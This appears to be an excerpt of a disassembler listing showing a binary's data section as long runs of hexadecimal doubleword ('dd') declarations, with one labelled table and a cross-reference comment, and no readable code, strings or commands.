		dd 0C4624060h, 4D028C52h, 0AA821125h, 0AB3413B1h, 1322845Ah
		dd 5EDF9856h, 6EE1482h,	50813Ah, 0F58A89C4h, 0A1344B9h
		dd 52439723h, 6BDFD103h, 4E957D8h, 5F211DC3h, 758A90C4h
		dd 4597A125h, 211B0898h, 0C4485747h, 6DE105D4h,	0FB03A0BEh
		dd 9D10DA8Dh, 79F12310h, 5E28114h, 8C1CB831h, 36C76203h
		dd 809A231Dh, 0E881E4h,	0BE08C4Eh, 4F8610CAh, 0AFB431CEh
		dd 14F60FC8h, 19023682h, 0EAD918E0h, 0A1E0110Ah, 3A1F0DEEh
		dd 949F8595h, 231D3C9Bh, 590E51A4h, 458A44C4h, 41201762h
		dd 32D0C451h, 9F8C0BBh,	85755827h, 925CB422h, 0BC0B014Ch
		dd 4AF09381h, 63AAFE8Ah, 0EBB81E34h, 2740107Bh,	995CA0E9h
		dd 96FE00A4h, 2EC9BDE7h, 5A00FA0Ch, 0CD2009BFh,	20C28280h
		dd 610C7556h, 3B0E8110h, 0B0860E9h, 0D34C680h, 0BB61CC07h
		dd 0B730625Ch, 1668AAFh, 6F2DC382h, 40EA9B77h, 300BC465h
		dd 4BF55B00h, 1A8C8AC3h, 0C8AAA061h, 68DC1381h,	4A1B0362h
		dd 7AE6F724h, 0BF8B03F0h, 0CE9F3h, 0BEF8D0Fh, 46AD306Dh
		dd 1F22D105h, 4F00EA17h, 72C0E09Ah, 5D7E1873h, 68F45A60h
		dd 24671414h, 301C22F6h, 0D90B13E9h, 5F004F4Bh,	79321E1Dh
		dd 1C9EDCCh, 51C27DFEh,	8CA0B3FBh, 0A860F3AEh, 0E14001Eh
		dd 3C70C074h, 54612A61h, 290FC20h, 82C7D0h, 1B8B2CEAh
		dd 0B260C034h, 0AF550128h, 0A172869h, 964C2FBBh, 5DB273h
		dd 499FC061h, 50C8DD3Ch, 0F0F04474h, 8008486Fh,	0C631DEA2h
		dd 76AF1FBEh, 0A842801Ch, 0B50F8778h, 840B4700h, 0D7DC9588h
		dd 3C4829D8h, 0CAAA8F20h, 0AF370C0h, 0C400EE30h, 0D3BF40BBh
		dd 1A39E5Fh, 0A060C505h, 0C42C4974h, 1B28CD24h,	4A442421h
		dd 0A4EA007Ah, 4ED835BAh, 50E2E4BDh, 0A500E87Fh, 150BDA73h
		dd 7F7CB25h, 0DC4A7DE7h, 0B216B0CCh, 0F4057595h, 84E23C4Ch
		dd 85422C08h, 8052B127h, 31BB0A84h, 250CFE03h, 0BDBF9Bh
		dd 7C513948h, 0F96F2B2Ch, 0BE1A2702h, 41DCB349h, 51BCCC3Ch
		dd 6BA4118Ah, 0F8D68080h, 86E11B8Ah, 1230580Fh,	0CF916094h
		dd 0D5905h, 42CB1ABDh, 0FA375FE1h, 0DB63A900h, 182C5BC0h
		dd 2BFDF943h, 0DC991880h, 4EF06E69h, 91D769C0h,	152BB51h
		dd 0D9588D02h, 0EF6C06B7h, 40D36FE9h, 253ADE48h, 0CD184C06h
		dd 194A29h, 72877FD0h, 60424626h, 0C463C012h, 0F8BF0040h
		dd 0E8A8E3A5h, 0EBA22C48h, 0FB52037Eh, 0DFF046A9h, 0B7744F87h
		dd 20207C50h, 0A928C37Eh, 5F188C39h, 9B8144EFh,	889D1EF3h
		dd 0F761408Fh, 7EAF3EC3h, 0CD7228C2h, 8F2B2046h, 18C21E85h
		dd 274DEF37h, 0A7EDD310h, 699912B8h, 0E5C42F00h, 8AF716B4h
		dd 53EC3ED5h, 0F886CD00h, 0BDCF593Fh, 28E2C9C7h, 0A00026E5h
		dd 10AD82C8h, 3AD900B0h, 0E018BD9Bh, 7F01D397h,	4627AA7Bh
		dd 0DC506EA4h, 0BD6AFBh, 4B0CF532h, 0EB9DD2A9h,	9BFFD500h
		dd 67AE8BBCh, 28E070DCh, 0FA8C48E3h, 5F17BFCh, 0C566DB53h
		dd 1BB44055h, 73268BE4h, 2BE9C4A0h, 9A317970h, 4BC4808Dh
		dd 536F298Eh, 0A1C01200h, 4330CCDBh, 7FD4B829h,	0A09D6A8Bh
		dd 6086602Ch, 7600BA23h, 0EB43E916h, 630FB5h, 0C4F0E5C2h
		dd 66E1FD13h, 9CD96F24h, 0A9A2DC41h, 3A6DF024h,	0A3827AB5h
		dd 7DD6D7CEh, 9BACE48Fh, 0D80C9899h, 31A45A4Dh,	0D4CE5272h
		dd 0A044307Ch, 0B9592F19h, 3D110E61h, 0D1871CC5h, 30839823h
		dd 0AD384F2Ah, 0C0AB8200h, 0BB5499FBh, 262EF24Bh, 601016C3h
		dd 0E06133A1h, 0FC23A207h, 0B7B01556h, 2096064h, 3491FE4Bh
		dd 0A483BFD5h, 6A89CFF0h, 628C41A0h, 0EE108C40h, 54A4C850h
		dd 77759472h, 15DA1ED1h, 0C01400A3h, 0B883DBF5h, 460A9974h
		dd 0B41DB7E1h, 8943F00Ch, 9477007Eh, 0DE2BAD98h, 674C6462h
		dd 0FC8B1004h, 0D0C1487Fh, 0C03C241Dh, 3D7EC3FEh, 472A4DB5h
		dd 97028C9Dh, 0A1404362h, 0C868407Ch, 0F48CA954h, 3CACC1F4h
		dd 0E68031FBh, 5F7F79FCh, 8C30CF49h, 0E15AC056h, 98326F19h
		dd 0EACBF783h, 32F818F1h, 0FB2400D0h, 4A7E1C25h, 3A9E003Dh
		dd 7C0139B3h, 4803D530h, 0C2C7CEBFh, 4150014Eh,	1338BCE0h
		dd 3483D3A7h, 4FAE08E0h, 2162A100h, 29442ED9h, 0D5650083h
		dd 7DE0118Bh, 4E036891h, 2686C207h, 0DAADA0EEh,	8AE60050h
		dd 0B48B6AC3h, 0EF04F0Bh, 3D985D3Eh, 88F005Ah, 61BBB2D6h
		dd 7DE80011h, 0DB190D89h, 97008A75h, 0DD99C117h, 0B81F4C08h
		dd 127F12h, 374DBCB0h, 0D6380A1Bh, 20BB2915h, 0DCED10CCh
		dd 0C5D3DE09h, 7B226090h, 0DB0ACB77h, 8CA5A2BBh, 0A2B2FC8Fh
		dd 0E0A81DCCh, 14D5FF93h, 84844EC7h, 0F0014406h, 1803582Ah
		dd 9B24DB5Ch, 12107F1Eh, 4D7F6AC7h, 0D051A720h,	0F6041EE0h
		dd 95F99318h, 24887C88h, 800867CBh, 2F403BD6h, 4B685AD7h
		dd 4E004841h, 5EC386B3h, 0F7970025h, 2B4678Fh, 300278AFh
		dd 63B34A3Bh, 7ECA0BFh,	10B9C4Ch, 3AE8DD1Fh, 0A9521EC6h
		dd 0E9E50F1h, 2EF5C741h, 5660193Bh, 0A71C13C0h,	0D0440F46h
		dd 148A56C5h, 0E0615478h, 40484D9Bh, 0B26A3F4Ch, 0C8F1B900h
		dd 0B340C197h, 0E970243Bh, 94268958h, 3840481h,	208062CBh
		dd 8EC30801h, 281222F9h, 0CD6E4C43h, 63A11856h,	0C605D1CBh
		dd 0E12F9800h, 14D71C2Dh, 544E02A6h, 80D1E2A7h,	7303B0C0h
		dd 0A4BE52h, 5B8A016Fh,	2B871B0h, 0A068A3C5h, 6F614ED4h
		dd 0B25980C8h, 9CC9C4C7h, 0D06E0029h, 186AB373h, 0EF30DDD6h
		dd 0C9C6894Bh, 0DF190010h, 132F6CE8h, 7E004671h, 4F408BDEh
		dd 98B08C17h, 0C4B24460h, 982FF42Ah, 0CD14197Fh, 90C0151Eh
		dd 0E6F3002Ch, 1B28470Dh, 2C1C00EFh, 296387B4h,	0B80231C0h
		dd 93E0E358h, 0C824AE1Dh, 3C419EB1h, 9EC66F89h,	0C7636C23h
		dd 0AC8ED900h, 27837473h
		dd 71BD03D7h, 0D6A2D194h, 0BC600F92h, 3D5C49FBh, 0C3CC1275h
		dd 7FB94040h, 0E0854080h, 6944697Bh, 0CCC2F801h, 695064CBh
		dd 0BE02D090h, 0F8E31C23h, 687C4803h, 5C934CDBh, 0C0A00493h
		dd 6FA544EEh, 0CA94A4D0h, 7291002Bh, 54EEC312h,	8102556Dh
		dd 3CEBA627h, 1C78C4C8h, 40C3FD03h, 0BC4CCB41h,	822C90CDh
		dd 93042FD6h, 0BCC0694Dh, 40F6ACF1h, 1F8845F9h,	0E8AB0795h
		dd 82411687h, 40C4A35Bh, 0E92F7600h, 0AC39E042h, 6877017Dh
		dd 0CBEA9B56h, 8480CE43h, 0FB25D93Ch, 10CAAB32h, 0CE2840DBh
		dd 6461C657h, 251ED9CDh, 0FC00749Ch, 5CA2EF39h,	3DA400BFh
		dd 12E01D48h, 0B2AE111h, 0C309901Bh, 2268176h, 0C050DD78h
		dd 0B9CB6F74h, 0FD47845Ch, 0A4A8012Fh, 8193BF3Fh, 0AD58306Dh
		dd 0FA00D7A2h, 300BCA15h, 665C4D96h, 102FE1AAh,	6035EC1Bh
		dd 0C100108h, 12376F0Ah, 0DC088334h, 1E60363Ah,	1C68FA10h
		dd 4676C09Ch, 83CB254Fh, 9379EF60h, 1D2782Dh, 0AC683CECh
		dd 60CF3D38h, 0C985EA6h, 50F1C618h, 54C15299h, 0DC3D8CD9h
		dd 27D5128h, 0FDFBF1D4h, 6334C01Ah, 3E29C0C6h, 0D7D2C9EDh
		dd 87AE273Bh, 75111FDAh, 29682240h, 4AA12E97h, 5D0980F0h
		dd 9BCBF13Bh, 48334601h, 28796EC3h, 18A2208Bh, 201F348Fh
		dd 9958C830h, 0BBD97Dh,	4EAD4919h, 1146DCB6h, 41A10414h
		dd 0B73805DAh, 0C29C4Bh, 0A3246037h, 3C7980F4h,	0B7D34D3Fh
		dd 0F7A110CDh, 0BA85DFD4h, 8A4FB23h, 4780C768h,	0BD15C5A3h
		dd 6F3E07D1h, 0E095EA5Dh, 93CB84E5h, 0C148DA63h, 2486E346h
		dd 4D00C6D9h, 72ED5D0h,	0CE6308F3h, 74F80059h, 70BB4D9Ah
		dd 0BD0E9E4Eh, 98C7CB85h, 0C40B251h, 0A967B747h, 5CB9A5C8h
		dd 7636B003h, 57BA88EFh, 422A00CDh, 0D4FCDA97h,	0CE76B3BBh
		dd 41C62D02h, 6A9D6367h, 0C8F84160h, 51F842D6h,	926B0E6Ch
		dd 601CEAA1h, 4E80C433h, 0C3122AE2h, 0C480093Eh, 307346CDh
		dd 0DF8170A3h, 8F7C2117h, 509EF700h, 2D4BE8BFh,	0B75F040Ah
		dd 0B465C502h, 9EF0CF24h, 25C6C0C4h, 0F8507888h, 246C4872h
		dd 0F0F7EB3Ch, 289B60E6h, 0F72315C0h, 0F8C54129h, 264DE000h
		dd 43592h, 0F5FAD161h, 6898F3B1h, 0CE99840Bh, 53D80380h
		dd 16E03D3Ch, 0D54006F5h, 0B91CCD74h, 9689F00h,	376733D4h
		dd 18A83B1Ah, 0EA2D280h, 592946C3h, 17A5F0C0h, 9ACF404Dh
		dd 9F0ACEA8h, 23C6B1F8h, 0F4CE64A1h, 0C9834E62h, 0C7E92F63h
		dd 0FF023428h, 0CC1B9B84h, 0B241E882h, 100E0C61h, 0CEC1983Bh
		dd 55003F71h, 63305B69h, 10F049h, 1677A04Dh, 0E7F109h
		dd 0CCD5A758h, 486A011Eh, 6F7E4400h, 0AF3B5FD3h, 42BA4B59h
		dd 5BD4DC6Ch, 0A4DCF4AAh, 0F7A03800h, 2419EC80h, 8C414081h
		dd 684227C6h, 0E1246369h, 0C2C7DB67h, 0BC4E45h,	0FFAD0DB8h
		dd 6A864864h, 0AC9ADC00h, 12B315ABh, 0C7D30A23h, 909456AAh
		dd 84488F1Fh, 4402845Ah, 18706F29h, 1A3EAD80h, 889C8848h
		dd 3BDC8042h, 22CF2D3Dh, 88B06E55h, 0CF147C8h, 0B9F1CC64h
		dd 0EEEF8E00h, 0BBE9B34Ch, 878401E2h, 0A70F64A2h, 0F5B8618Fh
		dd 63620026h, 1C39C7C5h, 0C9F72301h, 84BBC0A7h,	0B0CE771Fh
		dd 0E3B940D5h, 9429FF4Ah, 93E600ACh, 14C18C79h,	0C6152000h
		dd 2B12EA5Ah, 0D57D0631h, 0A881A39Fh, 0DB005C7Ch, 0C86F6736h
		dd 0F1D2A75h, 0F028A3Ah, 77B3C1C7h, 856E425Ah, 0D9368468h
		dd 6CA54512h, 8F015440h, 0E43E008h, 0E4AB4C7h, 2849FEE0h
		dd 6100CB80h, 0C58187B8h, 1354DD6h, 0B9656D2Ch,	0D2529BACh
		dd 42080444h, 18433729h, 1C917092h, 31596880h, 3D2874C7h
		dd 796C39A3h, 88381000h, 591CADF1h, 7F6F0099h, 44C901D2h
		dd 0EF07DCFEh, 2D12CED6h, 438BA15h, 0A8BD88CAh,	645F9800h
		dd 521EB427h, 0A00F1C2Fh, 7BE20CC3h, 0B70C2D18h, 402C24C6h
		dd 0B2A80067h, 902B8B33h, 0EF003BAAh, 0F9ACBF01h, 3D0E7CBDh
		dd 0B8087ECBh, 0B003CC94h, 7C84021Eh, 685D6258h, 800EAD4h
		dd 80CB34A9h, 0BD72935Bh, 9237BF00h, 0A0E70939h, 71E00E3h
		dd 0DBFE14B6h, 0A83FB048h, 8780EF0Ah, 1083B4DFh, 94100184h
		dd 5EC5546h, 0EFACD47Fh, 0D06C6200h, 0A8B3A78Ah, 0A529C21Ch
		dd 80802CF6h, 2A2FCDD1h, 579D5F01h, 0DAD8EFBBh,	0CCA8F9B2h
		dd 8565A02Fh, 0BEF008h,	0EC9607C2h, 0B248DC33h,	0A08EE52h
		dd 0B4BBA9D4h, 0D046AE06h, 522EF041h, 0FB01C0A8h, 0E480B257h
		dd 53908F83h, 79E6ECC4h, 3670629h, 21E880ABh, 0A83FBA15h
		dd 0EE2D02C0h, 0A110C39Ah, 628E3318h, 0C486360h, 0F00746AAh
dword_49005C	dd 9288A670h, 0A40F0A82h, 0EAC918Ch, 3EE0608Ah,	0FEBE1295h
					; DATA XREF: ___:off_427B6Co
		dd 5A960618h, 24EE4C41h, 83100E11h, 9F4BE6AAh, 0BE29AC98h
		dd 0C124D200h, 0C2269C63h, 0DE98A1CBh, 956AE11h, 0A87C3E60h
		dd 54127598h, 0E72B8DEh, 66BF39B2h, 6A80418Eh, 0C93B7FC1h
		dd 2F6B272Eh, 0BD86E606h, 0D4BC32B9h, 34209EC8h, 0C1FE715h
		dd 0CFAA3FECh, 2F62BEE8h, 0A028A810h, 88D1B790h, 24DF751Bh
		dd 8A7C53C3h, 0D828ED7Ah, 18D0A117h, 0D2ABF028h, 0C558CF2Bh
		dd 81B33EF1h, 1E5B1460h, 32D010FAh, 0A0465425h,	6B5705BCh
		dd 681AD4ADh, 6D0C1340h, 39451E32h, 0C5920057h,	0B5DE4834h
		dd 23087A0h, 8AD4912Fh,	6F4490EFh, 448A4942h, 3F15D63Ch
		dd 1DA4E3ABh, 0D4EAFB16h, 0EEF58A8h, 344A4981h,	7C5EF488h
		dd 92F80F5Bh, 0DF430BB8h, 0D124B2D4h, 3500C872h, 0B6E74534h
		dd 48BA5113h, 0F923BC1Eh, 0E9AF2E61h, 12C56186h, 0F8812040h
		dd 5A8570Fh, 0B7BC43B9h, 61282FC4h, 0BD4254ECh,	1ED6E10h
		dd 323EF73Bh, 7180441Fh, 902F6CC3h, 160076BBh, 6309F40Ah
		dd 98BF8C12h, 0CC70A918h, 0CD56EECh, 1AA93FB9h,	0EA1FAE81h
		dd 202BB210h, 82BC4414h, 84C3F729h, 9C9392A0h, 0E0800B4h
		dd 12B2EF4Ch, 0B9491403h, 49EB1810h, 0C54D38h, 0ACED186Ah
		dd 97279DA2h, 9062B100h, 29EA01F0h, 0BDE4000Bh,	51E11217h
		dd 7EF2A49Dh, 0D4E3Dh, 6AAF1B38h, 1EB1025h, 0C039A5D6h
		dd 3160315Fh, 5829F8E9h, 289E3700h, 8845173Ch, 0CC0F00A3h
		dd 3E190D4Dh, 40C0E418h, 0A8B5EAF6h, 5F9F004Fh,	0DF4641Fh
		dd 5A013598h, 8853BDE0h, 74CD41ECh, 784F1F60h, 43E015Fh
		dd 0F42C6AB6h, 25F430B3h, 6C5D9F2Ch, 7ED50448h,	0F21F8A8h
		dd 0AEA6C109h, 32D8004Fh, 1F16027Dh, 0CE132D98h, 1A8058BBh
		dd 0D1A39246h, 1020CC00h, 28153FF0h, 0C029779Ch, 0CE27A440h
		dd 0A77C1CD6h, 3A9F0D00h, 46CAEE5Ah, 39170014h,	9CAF3EDDh
		dd 0E43D1637h, 6A1C9052h, 9BACBF04h, 0A7360328h, 0E8B583F9h
		dd 7C6DC5Ah, 4DEC475Ch,	0AE00DBD7h, 52E010FBh, 9CE50505h
		dd 38C02228h, 0E6CE32AFh, 0FA6A3830h, 2938AB26h, 1FD87594h
		dd 0B0AD00F4h, 64C029A1h, 1B00A731h, 5A28B50Dh,	46C219h
		dd 9241DC88h, 388A0BAAh, 597460F3h, 22D7B60Eh, 9DAD8110h
		dd 62CC92E4h, 4020061h,	0E848EC98h, 110043D0h, 3B9FFADFh
		dd 61E905Ah, 5D44F222h,	0E084028h, 0E9EAEB4h, 1D2062B3h
		dd 12ECB70Dh, 5A00BEF4h, 9D04F316h, 78CCC7AAh, 55F2002Ch
		dd 5CD6B618h, 0A22CB3FAh, 0B10CE2A8h, 160F401Dh, 6A0EE6B7h
		dd 0B050BF8Ch, 0EAED0120h, 0C032A5B0h, 2073CDB2h, 0E505EBB5h
		dd 40BB5559h, 89548C80h, 7EC200A9h, 39250E3Ah, 6A09B318h
		dd 58B9ED1Eh, 9D8B00A2h, 0A1C771Bh, 0B0020ABh, 4A5983E5h
		dd 3810416h, 1E8EC4A7h,	5883879h, 5C009DEFh, 9FB5C0EAh
		dd 0FA2CA23h, 0B7EDA726h, 535A2C60h, 217945BAh,	769B0400h
		dd 222D8F0Ah, 143A00E2h, 175C70E4h, 0A977A6B3h,	1ED68B00h
		dd 0B505AF64h, 0F54D0B26h, 0AC044383h, 3685403Fh, 2944F310h
		dd 23880F5Bh, 0F47F04h,	38EF7E8Fh, 71F18696h, 3B628C01h
		dd 7D12AF52h, 0E8B0344Ah, 76009245h, 71AF5E8Dh,	28C38F9h
		dd 0C50D8032h, 101426A6h, 35F78D4h, 0C197AFB7h,	0D517E094h
		dd 39C08ABBh, 59B8636Ah, 2129890Ch, 0C0D50883h,	6A586021h
		dd 7217A56Bh, 0A090AE2Eh, 0B44C91h, 8B329A98h, 6DBB812Bh
		dd 5A26B60Bh, 0E0F4E823h, 49B588B2h, 0DA80AA0Ch, 0CBA303Ch
		dd 6C5D1A76h, 5CA08538h, 52008E3Dh, 0BE48BF83h,	0AC5A63DEh
		dd 681C411Ch, 0A0B080E0h, 89ADA7h, 0E2D4072Bh, 80963265h
		dd 48DC2D0Ah, 2A1CD053h, 628D3170h, 34F5BFCh, 69AC4674h
		dd 21210830h, 0FC5AE6h,	5EA2CF8Bh, 608A72B1h, 0E5B28800h
		dd 5FD7F139h, 0B39B003Fh, 9DC29AEDh, 0BCA43832h, 4B4CEE07h
		dd 0AEC07144h, 0BE200246h, 4AA988D4h, 68963383h, 0E0A06E2Bh
		dd 3F850EE8h, 8850A3A9h, 912A10A8h, 30D4720Ch, 0C3E26D19h
		dd 0D97BBB00h, 0BFF72888h, 5E02032Fh, 2150C634h, 0A0B25804h
		dd 0A50A412Eh, 0B8024F80h, 0CC80DC20h, 3715449Dh, 627B5007h
		dd 53B15F4Dh, 328E4CDFh, 0BD61F603h, 816B9DA8h,	62BB5730h
		dd 899D2ED5h, 0E603C00Dh, 29665FB4h, 2609AC65h,	36B5400h
		dd 2C06E79h, 754D0250h,	9884DD28h, 0AE3F4313h, 0D4311533h
		dd 0BD0090B1h, 63B00DE3h, 8901DDDBh, 929C974h, 39803C19h
		dd 4E064454h, 3A0FEB1Dh, 0E08173E1h, 5D4FC63Dh,	95FCA9DDh
		dd 0FC086018h, 0C451B44Dh, 58E84025h, 2E7CEFCh,	2E326D7Ah
		dd 0D898A1ADh, 3801834h, 1EED00A9h, 0E04C5D2Bh,	0BE0529B4h
		dd 1358269Ch, 0FA32DCE4h, 0C96501EEh, 919E0951h, 0A108A5E9h
		dd 0EE1885A0h, 3E3377C0h, 29003A76h, 0D8F052ADh, 0B8A09F2Ch
		dd 3023BC1h, 0BE26B432h, 404421Dh, 0D54653C8h, 9C00A1B5h
		dd 7C1C8B66h, 0F47B02h,	16A6B382h, 30A841EBh, 6B6751C0h
		dd 0F0B463B8h, 9090A166h, 20FCF519h, 90AC39ECh,	0E72444h
		dd 0DD55FC5Bh, 0BE70D893h, 95B25A1Eh, 48DB82BDh, 84BD57E2h
		dd 0E4605C84h, 0C92361EEh, 1811F1h, 97EEDC51h, 304D6C29h
		dd 0C1194712h, 0D1D8ED6h, 0E802FB95h, 68C0A0BBh, 13084C28h
		dd 1ED05996h, 0DA988468h, 0A844D169h, 7C33004h,	948CA92Ah
		dd 0D4702295h, 7F98A09Fh, 0EE434BEh, 9B488B15h,	0D0E82A2Bh
		dd 0A903B976h, 7EF5C0AEh, 0BBFDA0AAh, 0FBF61DB4h, 666F407Fh
		dd 4B16629Ah, 0F818453Ah, 0A740510Ch, 14B6692Bh, 0D829E24Eh
		dd 5FB8C909h, 8C00A03Fh, 0D346B7D5h, 0FA5C0479h, 0C1EA822Eh
		dd 86BAB8B0h, 0AFC5B7E1h, 0B42E24C1h, 0ADD9415Ch, 7AC01774h
		dd 64C5C3E9h, 54F73028h, 8C23E804h, 0C756E900h,	58FAC8B7h
		dd 0E48D22DCh, 28782C3Fh, 424EC847h, 0E8901054h, 1008C1Ah
		dd 0AFD78DFh, 0F250D8BCh, 32271230h, 29202133h,	6399801Bh
		dd 3D44E2E4h, 0A02E0728h, 203A74C1h, 7D6C1FCCh,	3C995304h
		dd 0F8B8ECAEh, 1E322D0Fh, 30584979h, 3988A1D0h,	323C20B6h
		dd 3A4DE200h, 6BDFF5F4h, 98BE127Dh, 2054F17Ah, 20401C0Ch
		dd 58F0A14Ch, 34C6818h,	0F0AF2B11h, 6B002011h, 0FC7A0391h
		dd 3E07B670h, 4639E9E3h, 16841879h, 0A9110289h,	879A6967h
		dd 0BD5CFC82h, 3645A05Eh, 85C6FC24h, 0AB6A1CC1h, 9F858765h
		dd 3A44DFE3h, 0BA488359h, 3412591Dh, 0E05D52D6h, 9B193ED8h
		dd 0DAEF00D3h, 0B67C0472h, 0D4015A60h, 9892D8B5h, 30803442h
		dd 0A8B47263h, 10C04026h, 0B9122243h, 49BB7B8Dh, 4B014CCCh
		dd 0EDAAD834h, 0E8ABF3BCh, 1EB41906h, 0A190DD89h, 0DF185B0Ch
		dd 0C968EE08h, 400BC4F9h, 0F4EE1788h, 0E3D90B5Bh, 0B100A462h
		dd 2D67B26Fh, 2629FB90h, 0E201285Eh, 0E1C963EEh, 0DA83000Eh
		dd 1F9476EEh, 0ACD2012Ch, 0C5E0F6EBh, 0DA142434h, 0DE46B40Ch
		dd 0AAB033h, 0E2E0537Bh, 6B692E02h, 880EC4Eh, 5CB00BD2h
		dd 56E8385Ah, 2FE3008Ch, 6391F343h, 66765933h, 8A6DC209h
		dd 424AE87h, 0D504B8D8h, 815488B4h, 5A1E4800h, 9DF9FF8Eh
		dd 31D42479h, 0BF188030h, 33F8C182h, 35B05F0Fh,	6640BE54h
		dd 40FFC636h, 0D54818BEh, 0A3D6312Ah, 28147DB0h, 10F8180Dh
		dd 640919C6h, 70045DEFh, 36D6055h, 97B423E1h, 68041911h
		dd 0B887038Eh, 9FACC0A0h, 94BD86Dh, 24448647h, 42AE2402h
		dd 18E80409h, 4D0150A3h
		dd 9B32606Ah, 88CE0C82h, 6A025565h, 0ACAE392Ah,	20A8E435h
		dd 0A10E15DEh, 9029A83Fh, 0CE551404h, 3DF50920h, 0EF8300D8h
		dd 4D0B22EAh, 43DCD404h, 188CE138h, 3F81F8E8h, 0D0D864BBh
		dd 3BFDF80h, 0A4C07642h, 0D9954799h, 72460066h,	5D023755h
		dd 0EC2EB698h, 42027491h, 60287C4Fh, 8027C430h,	723178BEh
		dd 2A9AD868h, 32049FAh,	6AC2C0h, 769DBD89h, 0BE3266E1h
		dd 38363031h, 0F8584CE3h, 2C86024Dh, 9A3B0C8Ch,	1861EC91h
		dd 0E5030869h, 21C477B4h, 36A6C40h, 4B3F50C2h, 0BF3280FEh
		dd 74FC9FDCh, 0B025508Eh, 0A131602Ah, 0E4591547h, 0BE1D2104h
		dd 0D2C0D2DAh, 24B094E0h, 0A4306A7Eh, 0D3802004h, 23943A90h
		dd 0D4280519h, 46B840B7h, 932AECEBh, 86FA38h, 5E22821Fh
		dd 38603A70h, 35B046AEh, 0A82E11A8h, 38C4DD74h,	54902212h
		dd 7CC9F5h, 15B79B0Dh, 0EF601E3Ah, 14A32C1Ch, 0D4C1D205h
		dd 11BF888h, 22A41121h,	30B24CB9h, 0CC4BC616h, 78344001h
		dd 0E88B3D52h, 8819AC19h, 8E3185Fh, 19C964EEh, 84400CC4h
		dd 0C794EEDBh, 22EC53Bh, 26B4640Ah, 0A2B8A036h,	0A434B4Dh
		dd 0ACD48190h, 0D1C78084h, 0D003B97Ch, 0A3394C00h, 0BF36521h
		dd 4BBA0FF9h, 5D835777h, 69001412h, 0D8CCB61Bh,	7643852Fh
		dd 0CAFE4Dh, 6922023h, 83C62D78h, 322A2B15h, 0DF501EF0h
		dd 0F31C0580h, 0A92CF3Dh, 529C95F7h, 805311E4h,	0B4E30363h
		dd 6E008767h, 0C1E9036Ch, 0F8960907h, 0E441DBFDh, 966186Bh
		dd 61B44BFCh, 0EA01A89Ch, 0A59FC5Eh, 0B4ECFEB1h, 226A2880h
		dd 373A2CC0h, 0A32509FCh, 2748A0D0h, 0B13D8054h, 1FE0B5Bh
		dd 0B8EA4D99h, 0DA88824Ah, 8D7AE8E0h, 5C34B088h, 4C0044F5h
		dd 2C2E0864h, 380FD121h, 607B6723h, 1D93A4Bh, 0AE3B3E1Ah
		dd 22DC1517h, 0BB208038h, 94A30CA0h, 6A08020Ch,	6C7E88B8h
		dd 764DC202h, 0A8970B7Dh, 0B5811591h, 5036D482h, 0FCC386ACh
		dd 95DAC100h, 94D1D069h, 26DFE2ADh, 1F2A19h, 98B2F007h
		dd 94A34402h, 5C89C5EAh, 6C67B46Ah, 2C675944h, 0F1F258h
		dd 41C08E33h, 91FC2034h, 25396240h, 2000BC96h, 0C5455F9Dh
		dd 75CC3D05h, 24C2DD4Ch, 39A47ED5h, 67802849h, 87B4DF03h
		dd 6A27448Ch, 9039000h,	7A648815h, 0FAAA054Eh, 49AE1B3h
		dd 41AC44C0h, 29B23F9Eh, 404B399Fh, 1EB08E46h, 0C4A0169Dh
		dd 631DD391h, 0F7D21BDh, 5DC729Bh, 0BC4F4913h, 14BB00E7h
		dd 0CAEBEDh, 63C6EF85h,	4DDD719Ah, 4739F5E2h, 9D6FF8B6h
		dd 27205F58h, 802FAD3Fh, 7CAE3441h, 0AC90401Bh,	0F20072EAh
		dd 0A280FDFEh, 2CA87DBh, 6547673Fh, 247ED462h, 7CF0B480h
		dd 4A29FF6Ch, 23B42EA9h, 0BB50018h, 0B66EB42Eh,	0EF021494h
		dd 82A11CD8h, 84363290h, 94F92974h, 0E01CFF00h,	36B08FA5h
		dd 383E7A30h, 4134D863h, 72FAECB2h, 1A41C56h, 31DCBE62h
		dd 0D438B1C6h, 1037D212h, 0BE240838h, 4638A848h, 0EC642491h
		dd 0C571B409h, 5CEC8750h, 6C1960FCh, 4DFA9BD8h,	30598DF8h
		dd 4CC501A0h, 0DF08E32h, 1AF8D828h, 8FAE028Ch, 0D3B7B2FFh
		dd 0F0861451h, 406033C4h, 2891D525h, 35B19502h,	0D4644009h
		dd 6D5D1DDDh, 0B85F0072h, 4A65E341h, 0F19E1362h, 0EF0C9360h
		dd 50B6E5B3h, 78CF4C89h, 2290B0F3h, 4D0035D4h, 7C01E60Dh
		dd 2EB22865h, 85943267h, 0A8E5D033h, 0A869C100h, 3434BB68h
		dd 2046206Dh, 426B9102h, 818A7B34h, 840ADD8h, 0A8289CF1h
		dd 488C16B8h, 1100989Ch, 0C2598645h, 0D81843EAh, 7A78A8D4h
		dd 49C97662h, 4D003084h, 65E45491h, 6C2AB634h, 3216D02Ah
		dd 0CE3D46Fh, 0FC49651Dh, 884CCB24h, 34443D1Fh,	0E0239C40h
		dd 771DA762h, 0D5D6C7D7h, 4991CA4h, 34B33CA9h, 452CC3E2h
		dd 0B0908792h, 29DDAAD5h, 6F9C92C0h, 0B3118Bh, 58E1DD49h
		dd 60856B1Ch, 1270D70Ah, 3F04C4E3h, 0B92733ABh,	0BD477448h
		dd 5EFF7301h, 0C99A64DCh, 352A9451h, 0B0E8A980h, 468CB854h
		dd 478BDF02h, 8B09D686h, 0CCE002FCh, 0E7B2002Bh, 0F43CB607h
		dd 0EC88580Bh, 231F8C58h, 0FACBB462h, 83244827h, 0BB657886h
		dd 408479B8h, 4B069ECh,	81BAB244h, 20BD294h, 2350E50h
		dd 25C05BBBh, 11DE7D02h, 28C0088Ch, 0DA37274Bh,	21914497h
		dd 0E2C2B80h, 0AC559A0h, 38816BBEh, 210032E2h, 0C70425F1h
		dd 0EC7785D8h, 35A9F4C0h, 293A88BCh, 81876000h,	1923DBACh
		dd 9678B20Eh, 18465E4Ch, 8FBF8309h, 72004444h, 4249B69Ah
		dd 0B94C9DEh, 0E4BD6A60h, 0B48EB700h, 90A4EA1Eh, 0CCECB816h
		dd 33541492h, 0B4E403D8h, 4C2C8F4Bh, 36D006Fh, 0C84D091Bh
		dd 0E300F668h, 0CA7B865Bh, 900C30C5h, 0A07C161Ch, 21C4419Ah
		dd 831CAE05h, 0B6789440h, 58185831h, 0DBFFFC08h, 84212588h
		dd 81045CACh, 2C39D47Fh, 3A5E00D0h, 3276B3F1h, 0AEE21781h
		dd 9C7482C9h, 16849427h, 4F01E8B3h, 6B32626Ah, 88A40C89h
